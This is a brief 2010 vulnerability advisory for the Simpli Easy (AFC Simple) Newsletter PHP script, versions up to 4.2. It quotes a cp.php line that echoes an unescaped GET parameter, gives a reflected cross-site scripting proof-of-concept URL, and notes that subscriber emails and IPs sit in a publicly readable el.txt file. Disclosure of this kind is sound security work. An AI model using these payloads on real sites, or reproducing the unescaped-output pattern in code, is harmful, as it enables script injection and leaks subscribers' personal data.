Simpli Easy (AFC Simple) Newsletter <= 4.2 XSS/Information Leakage

Simpli Easy (AFC Simple) Newsletter &#60;= 4.2 XSS/Information Leakage Date: 30.10.2010 Author: p0deje | http://p0deje.blogspot.com Software Link: http://scubadivingcalculators.com/simpli-easy-newsletter.php Version: &#60;= 4.2 1. Cross-site Scripting Vulnerable code: cp.php ---------------- 6: &#60;form name=&#34;txtlist&#34; action=&#34;cp.php?do=&#60;?=$_GET[&#39;do&#39;]?&#62;&#34; method=&#34;post&#34;&#62; Proof-of-concept: http://www.example.com/cp.php?do=&#34;&#62;&#60;script&#62;alert(1)&#60;/script&#62; 2. Information Leakage By default, application saves subscribed email addresses and correspondent IP addresses to plain text file el.txt Proof-of-concept: http://www.example.com/el.txt